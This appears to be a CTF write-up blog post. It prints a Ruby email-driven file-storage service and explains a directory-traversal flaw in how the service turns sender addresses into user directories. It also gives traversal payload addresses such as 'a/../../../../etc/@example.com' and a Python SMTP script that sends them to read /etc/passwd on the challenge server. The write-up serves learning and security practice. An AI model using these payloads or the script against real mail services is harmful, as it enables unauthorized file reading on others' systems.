#!/usr/bin/ruby require "pathname" Dir.chdir(Pathname.new(__FILE__).dirname.to_s) require "mail" mail_size_limit= 16*1024 user_size_limit= 1024**2 users_dir= Pathname.new("user") raw_incoming_mail= STDIN.read(mail_size_limit) incoming_mail= Mail.new(raw_incoming_mail) user= [incoming_mail.from].flatten[0].gsub('"', "") exit 1 unless user exit 1 unless user=~ /@/ subject= incoming_mail.subject exit 1 unless subject user_dir= users_dir + user.split("@", 2).reverse.join("___") print user_dir+"\n" size_file= user_dir + ".size" tmp_size_file= user_dir + ".size_tmp" ''' available commands: signup list put get <filename> delete <filename> share <filename> <user> ''' def send_response(original_mail, response_string, attachment= nil, response_subject=nil) print "\nReponse:\n------------\n\n" print original_mail,"\n" print response_string,"\n" print attachment,"\n" print response_subject,"\n" print "------------\n" end def send_error(original_mail, error_string) print "\nError:\n-------------\n\n" print original_mail,"\n" print error_string,"\n" print "-----------\n" end case subject when "signup" if user_dir.directory? send_error(incoming_mail, "your are already signed up") exit end unless (user_dir+"../.signup_allowed").file? send_error(incoming_mail, "signup is currently disabled") exit end user_dir.mkdir size_file.open("w") { |f| f.puts 0 } send_response(incoming_mail, "signup successfull") when "list" unless user_dir.directory? send_error(incoming_mail, "you are not signed up") exit end file_listing= "your_files:\n" + user_dir.children.select do |file| file.basename.to_s[0] != ?. end.collect do |file| "#{file.basename} #{file.size/1024.0}Kb" end.join("\n") send_response(incoming_mail, file_listing) when /\Aget ([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/ file_name= $1 file_path= user_dir+file_name unless user_dir.directory? send_error(incoming_mail, "you are not signed up") exit end unless file_path.file? send_error(incoming_mail, "the requested file does not exist") exit end send_response(incoming_mail, "here is your requested file", file_path.to_s) when /\Ashare ([A-Za-z0-9_-]+(\.[a-z0-9]+)?) ([A-Za-z0-9][A-Za-z0-9._-]*@([A-Za-z0-9-]+\.)+[A-Za-z]+)\Z/ file_name= $1 second_user= $3 file_path= user_dir+file_name unless user_dir.directory? send_error(incoming_mail, "you are not signed up") exit end unless file_path.file? send_error(incoming_mail, "the requested file does not exist") exit end second_user_dir= users_dir + second_user.split("@", 2).reverse.join("___") second_size_file= second_user_dir + ".size" second_file_path= second_user_dir + file_name unless second_size_file.file? send_error(incoming_mail, "the given user is not signed up") exit end if second_file_path.exist? send_error(incoming_mail, "file cannot be shared for unknown reasons") exit end second_file_path.make_symlink(file_path.to_s.sub("user/", "../")) send_response(incoming_mail, "file shared", file_path.to_s) when /\Adelete ([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/ file_name= $1 file_path= user_dir+file_name user_size= begin size_file.read.to_i rescue Errno::ENOENT send_error(incoming_mail, "you are not signed up") exit end unless file_name[0] != ?. and file_path.file? send_error(incoming_mail, "the requested file does not exist") exit end user_size-= file_path.size file_path.unlink tmp_size_file.open("w") { |f| f.puts user_size } tmp_size_file.rename(size_file) send_response(incoming_mail, "file deleted") when "put" user_size= begin size_file.read.to_i rescue Errno::ENOENT send_error(incoming_mail, "you are not signed up") exit end attachment= incoming_mail.attachments[0] unless attachment and attachment.filename=~ /\A([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/ send_error(incoming_mail, "no valid attachment found") exit end file_path= user_dir+attachment.filename if file_path.exist? send_error(incoming_mail, "file already exists") exit end attachement_body= attachment.body.decoded user_size+= attachement_body.size if user_size > user_size_limit send_error(incoming_mail, "you have no space left") exit end tmp_size_file.open("w") { |f| f.puts user_size } tmp_size_file.rename(size_file) file_path.open("w") { |f| f.write attachement_body } send_response(incoming_mail, "file saved") endThe main flaw in this program comes from this line of code:
user_dir= users_dir + user.split("@", 2).reverse.join("___")This means that any user root@example.com will have a working directory of example.com___root. This lends itself to directory traversal by having a source email address of root/../@example.com, which become example.com___root/../. Whenever the commands are run, they run from the working directory of the email address. The hardest part, then, is getting an email server working that will correctly handle email addresses like this. I worked with a buddy pretty heavily to get this working. We eventually resorted to having a "catch-em-all" email box on his server and just sent emails from him as an open relay. We had a command running in the Maildir that would always be showing the most recent mail, so any email responses we got would flash on our screen immediately. This, combined with the script shown below gave us a shell of sorts through the emails.
''' Mail exploit - by suntzu_II 1. Run the 'signup'command as a@example.com. This creates a directory of example.com___a. 2. Run any command but perform directory traversal with email addresses like this: - list,a/../@example.com - get passwd,a/../../../../etc/@example.com ''' import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import base64 def sendMessage(action, send_from, send_to): msg = MIMEMultipart() msg['To'] = send_to msg['From'] = send_from msg['Subject'] = action smtp = smtplib.SMTP('b3.ctf.sigint.ccc.de',25) smtp.sendmail(send_from, send_to, msg.as_string()) smtp.close() while True: cmd = raw_input("Command: ").split(',') sendMessage(cmd[0], 'a/'+cmd[1]+'@example.com', 'test@b3.ctf.sigint.ccc.de')The flag was in /etc/passwd.
- suntzu_II
No comments:
Post a Comment